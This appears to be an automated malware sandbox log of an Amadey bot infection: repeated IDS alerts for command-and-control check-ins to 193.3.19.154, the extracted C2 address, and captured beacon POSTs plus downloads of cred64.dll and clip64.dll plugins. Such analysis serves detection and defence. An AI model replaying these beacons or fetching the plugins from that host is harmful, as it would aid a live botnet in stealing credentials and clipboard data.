Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:49764 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:49787 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:49837 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:49705 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:49705 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:49707 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:49707 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:49837 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:49775 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:49867 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:49867 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:49775 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:49878 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:49859 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:49878 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:49848 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:49848 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:49741 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:49741 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:49930 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:49930 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:49859 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:49794 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:49794 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:49752 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:49752 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:49958 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:49958 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:49940 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:49920 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:49920 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:49940 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:49722 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:49722 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:49826 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:49826 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:49987 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:49987 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:49998 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:50031 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:50031 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:50034 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:50034 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:50023 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:50024 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:50023 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:50035 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:49998 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:50024 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:50009 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:50009 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:50027 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:50028 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:50035 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:50027 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:50022 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:50028 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:50022 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:50030 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:50030 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:50032 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:50032 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:50016 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:50016 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:49967 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:49967 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:49887 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:50019 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:50017 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:49887 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:50017 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:50029 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:50029 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:50019 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:50026 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:50026 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:49898 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:49898 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:49909 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:49909 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:49950 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:49950 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:50018 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:50018 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:50021 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:50021 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:50020 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:50020 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:49976 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:50025 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:49976 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:50025 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:50033 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:50033 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:50036 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:50036 -> 193.3.19.154:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

IPs: 193.3.19.154

Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: GET /store/games/Plugins/cred64.dll HTTP/1.1Host: 193.3.19.154
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: GET /store/games/Plugins/cred64.dll HTTP/1.1Host: 193.3.19.154
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: GET /store/games/Plugins/cred64.dll HTTP/1.1Host: 193.3.19.154
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: GET /store/games/Plugins/clip64.dll HTTP/1.1Host: 193.3.19.154
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: GET /store/games/Plugins/clip64.dll HTTP/1.1Host: 193.3.19.154
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: GET /store/games/Plugins/clip64.dll HTTP/1.1Host: 193.3.19.154
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
